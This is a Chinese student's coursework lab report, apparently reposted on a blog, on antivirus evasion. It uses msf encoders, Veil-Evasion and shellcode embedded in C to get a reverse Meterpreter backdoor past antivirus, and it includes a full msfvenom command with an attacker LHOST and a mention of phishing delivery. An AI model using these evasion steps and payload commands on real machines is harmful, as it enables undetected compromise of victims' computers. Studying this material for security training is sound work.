20155227《网络对抗》Exp3 免杀原理与实践

实践内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题回答

杀软是如何检测出恶意代码的?

  • 基于特征码的检测:可执行文件包含特征码库中的某段数据就会被认为是恶意代码。

  • 启发式恶意软件检测:一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件。

  • 基于行为的恶意软件检测:启发式的一种,加入了行为监控。

免杀是做什么?

  • 想尽一切办法不让杀软发现自己是个病毒,然后悄悄地做病毒要做的事情。

免杀的基本方法有哪些?

  • 改变特征码:对于exe可以加壳,对于shellcode可以用encode编码、基于payload重编译,对于源代码可以用其他语言重写。

  • 改变行为:在通信方式方面尽量使用反弹式连接、隧道技术、加密数据,在操作模式上尽量基于内存操作、减少修改系统、加入有正常作用的代码迷惑杀软。

实验内容及步骤

MSF编码器

1.直接使用上一个实验生成的后门程序检测结果如下:

2.一次编码结果:

3.十次编码结果:

编码次数再多,也没什么实质性的变化。

Veil-Evasion

首先安装veil:

  • use python/meterpreter/rev_tcp.py(设置payload)
  • set LHOST Kali的IP(设置反弹连接IP)

  • set port 端口号(设置反弹端口,默认为4444)
  • generate
  • 可执行文件名
  • 1(选择使用python语言来编写)

可是这个时候出现了错误,我又重来了一次,最后一步选择2(pyexe2),可是这个时候并没有生成exe文件。

后来我不使用python,使用c语言。

扫描结果如下:

同样也被360检查出来了。

C语言调用Shellcode

首先,在Kali上使用命令生成一个c语言格式的Shellcode数组。

然后,在Win主机上使用VC新建一个c文件,将Shellcode数组拷贝到其中,在加上头文件和一个小函数。

扫描结果如下:

12%的杀软报告病毒。

运用压缩壳+上面的C+shellcode:

依然是12%的杀软报告病毒。

结合使用不同编码器:msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.115.128 -f c命令生成的shellcode数组拷贝到c文件中扫描结果如下(使用默认的编译选项就可以完成免杀。):

依然有15%的杀软报告病毒。

360直接检查出来了。

免杀回连测试

在使用veil-evasion测试时,最后一步选择2(pyexe2),可是这个时候并没有生成exe文件。

于是我在win下用python setup.py py2exe命令进行编译python源代码5227test32.py,在生成的dist目录下有生成的exe文件(在win下安装了Python2.7和py2exe)。
脚本setup.py如下:

进行扫描结果如下:

按照上次实验用过的msf监听方法在Kali上打开监听,在Win(win7)主机开启杀软(腾讯管家)的情况下,Kali成功获取了Win主机的权限:

离实战还缺些什么技术或步骤?

在实际应用中,我们不可能这么容易将后门植入到别人的电脑,或许可以通过钓鱼网站之类的方法来实现。而且按照我这次实现免杀的方法,是在win下面进行编译,实际运用中也不知道该如何实现。这点还需要我们去思考,去探索。而且现在各种杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,所以还需要我们根据漏洞自己写代码,而不是用软件来直接生成。

实践总结与体会

做完这次实验,我对于网络安全的问题有了更深的体会。之前一直觉得只要安装好杀毒软件,定期杀毒、给电脑体检就可以了,然而我们自己都能实现免杀,更不要说那些恶意想要攻击你电脑的人了。在当今社会,处处离不开网络,因此我们要时时刻刻提高安全防范意识,定期检查自己的电脑,防止别人恶意盗取利用自己的信息。希望可以将自己学到的知识与实践相结合,帮助别人解决更多的问题。

20155227《网络对抗》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. Javascript、Jquery获取浏览器和屏幕各种高度宽度[mark]

    Javascript: IE中:document.body.clientWidth ==> BODY对象宽度document.body.clientHeight ==> BODY对象高度d ...

  2. Impala随手记

    最近开始使用Impala,基本完全兼容传统SQL,并且查询速度飞快,是Hive的良好替代: 1.登录及简单查询 impala-shell #列出数据库 show databases; #载入数据库 u ...

  3. Nginx的访问认证

    1.设置访问认证的作用: 在实际的工作中,有时候我们会接到给网站加密的任务,就是需要有用户名和密码才能访问网站的内容,这个一般会是在企业的内部web服务上面来实现,其实也很简单就两个参数 语法: lo ...

  4. 常用的第三方模块 chardet url

    chardet 字符串编码一直是令人非常头疼的问题,尤其是我们在处理一些不规范的第三方网页的时候.虽然Python提供了Unicode表示的str和bytes两种数据类型,并且可以通过encode() ...

  5. Expo大作战(四)--快速用expo构建一个app,expo中的关键术语

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...

  6. Python Word2Vec使用训练好的模型生成词向量

    # 文本文件必须是utf-8无bom格式 from gensim.models.deprecated.word2vec import Word2Vec model = Word2Vec.load( ' ...

  7. 《JavaScript面向对象编程指南》

    第一章.引言 1.5 面向对象的程序设计常用概念 对象(名词):是指"事物"在程序设计语言中的表现形式. 这里的事物可以是任何东西,我们可以看到它们具有某些明确特征,能执行某些动作 ...

  8. 数据库小组第N次小组会议

    时间:5.30晚,9:30 ~ 11:30 主题:讨论android app与服务器之间数据同步的技术选型与实现 与会人:陈兆庭,黄志鹏,吴雪晴 讨论内容: 大体分析 关于数据同步,整体上有两部分,用 ...

  9. Spark 集群搭建

    0. 说明 Spark 集群搭建 [集群规划] 服务器主机名 ip 节点配置 s101 192.168.23.101 Master s102 192.168.23.102 Worker s103 19 ...

  10. Windows:服务已经标记为删除

    解决办法: 方法一:运行删除服务项命令的时候,服务管理窗口未关闭,关闭服务管理窗口即可: 方法二:删除服务的注册表项,路径为: HKEY_LOCAL_MACHINE\SYSTEM\CurrentCon ...